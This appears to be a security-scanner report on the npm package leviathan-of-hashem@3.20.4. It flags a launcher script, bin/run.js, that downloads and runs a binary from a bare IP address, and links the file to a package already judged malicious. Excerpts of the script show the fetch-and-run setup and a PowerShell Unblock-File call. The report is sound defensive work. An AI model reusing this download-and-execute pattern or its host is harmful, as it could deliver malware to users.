leviathan-of-hashem@3.20.4: Suspicious npm security report (Warn) | LPM Firewall

Loading npm security reports…

leviathan-of-hashem@3.20.4: Suspicious npm security report (Warn) | LPM Firewall

Source & flagged code

8 flagged · loading source

bin/run.jsView file

11const path = require("path"); L12: const { spawn, execSync } = require("child_process"); L13:

High

Child Process

Package source references child process execution.

bin/run.jsView on unpkg · L11

124try { L125: execSync(`powershell -Command "Unblock-File -Path '${BIN_PATH}'"`, { stdio: "ignore" }); L126: } catch (_) {}

High

Shell

Package source references shell execution.

bin/run.jsView on unpkg · L124

7L8: const https = require("https"); L9: const http = require("http"); ... L11: const path = require("path"); L12: const { spawn, execSync } = require("child_process"); L13: L14: const BASE = process.env.LVTN_BINARY_BASE || "http://5.78.43.130:3708/releases/cli"; L15: const CACHE_DIR = process.env.LVTN_CACHE_DIR ||

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/run.jsView on unpkg · L7

7L8: const https = require("https"); L9: const http = require("http"); ... L11: const path = require("path"); L12: const { spawn, execSync } = require("child_process"); L13: L14: const BASE = process.env.LVTN_BINARY_BASE || "http://5.78.43.130:3708/releases/cli"; L15: const CACHE_DIR = process.env.LVTN_CACHE_DIR || ... L17: ? path.join(process.env.XDG_CACHE_HOME, "lvtn", "bin") L18: : path.join(require("os").homedir(), ".lvtn", "bin")); L19: const BIN_NAME = process.platform === "win32" ? "lvtn.exe" : "lvtn"; L20: const BIN_PATH = path.join(CACHE_DIR, BIN_NAME);

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

bin/run.jsView on unpkg · L7

•matchType = normalized_sha256 matchedPackage = leviathan-of-hashem@3.20.9 matchedPath = bin/run.js matchedIdentity = npm:bGV2aWF0aGFuLW9mLWhhc2hlbQ:3.20.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/run.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 22c2f1c7a8842f51 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = leviathan-of-hashem@3.20.9 matchedPath = bin/run.js matchedIdentity = npm:bGV2aWF0aGFuLW9mLWhhc2hlbQ:3.20.9 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/run.jsView on unpkg

leviathan-of-hashem-3.14.3.tgzView file

•path = leviathan-of-hashem-3.14.3.tgz kind = compressed_blob sizeBytes = 2500 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

leviathan-of-hashem-3.14.3.tgzView on unpkg

•path = leviathan-of-hashem-3.14.3.tgz kind = nested_archive_needs_inspection sizeBytes = 2500 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

leviathan-of-hashem-3.14.3.tgzView on unpkg

Source & flagged code

8 flagged

bin/run.jsView file

Lines 1-31javascript

1#!/usr/bin/env node

2/**

3 * Leviathan CLI — download & run the self-contained platform binary.

4 * Auto-updates: checks for newer version on every invocation.

5 * No Python, no node_modules runtime dep.

6 */

7

8const https = require("https");

9const http = require("http");

10const fs = require("fs");

11const path = require("path");

12const { spawn, execSync } = require("child_process");

13

High

Child Process

Package source references child process execution.

bin/run.jsView on unpkg · L11

14const BASE = process.env.LVTN_BINARY_BASE || "http://5.78.43.130:3708/releases/cli";

15const CACHE_DIR = process.env.LVTN_CACHE_DIR ||

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/run.jsView on unpkg · L7

16 (process.env.XDG_CACHE_HOME

17 ? path.join(process.env.XDG_CACHE_HOME, "lvtn", "bin")

18 : path.join(require("os").homedir(), ".lvtn", "bin"));

19const BIN_NAME = process.platform === "win32" ? "lvtn.exe" : "lvtn";

20const BIN_PATH = path.join(CACHE_DIR, BIN_NAME);

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

bin/run.jsView on unpkg · L7

21const VERSION_PATH = path.join(CACHE_DIR, "version.txt");

22const PKG_VERSION = "3.20.4";

23

24function platformBinary() {

25 const plat = { win32: "windows", linux: "linux", darwin: "darwin" }[process.platform];

26 const arch = { x64: "x64", arm64: "arm64" }[process.arch];

27 if (!plat) die(`Unsupported platform: ${process.platform}`);

28 if (!arch) die(`Unsupported arch: ${process.arch}`);

29 if (plat === "windows" && arch !== "x64")

30 die("Windows arm64 is not supported yet; use x64 emulation or pip install lvtn");

31 return `lvtn-${plat}-${arch}${plat === "windows" ? ".exe" : ""}`;

Lines 104-144javascript

104async function ensureBinary() {

105 const bin = platformBinary();

106 const url = `${BASE}/${bin}`;

107

•matchType = normalized_sha256 matchedPackage = leviathan-of-hashem@3.20.9 matchedPath = bin/run.js matchedIdentity = npm:bGV2aWF0aGFuLW9mLWhhc2hlbQ:3.20.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/run.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 22c2f1c7a8842f51 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = leviathan-of-hashem@3.20.9 matchedPath = bin/run.js matchedIdentity = npm:bGV2aWF0aGFuLW9mLWhhc2hlbQ:3.20.9 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/run.jsView on unpkg

leviathan-of-hashem-3.14.3.tgzView file

•path = leviathan-of-hashem-3.14.3.tgz kind = compressed_blob sizeBytes = 2500 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

leviathan-of-hashem-3.14.3.tgzView on unpkg

•path = leviathan-of-hashem-3.14.3.tgz kind = nested_archive_needs_inspection sizeBytes = 2500 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

leviathan-of-hashem-3.14.3.tgzView on unpkg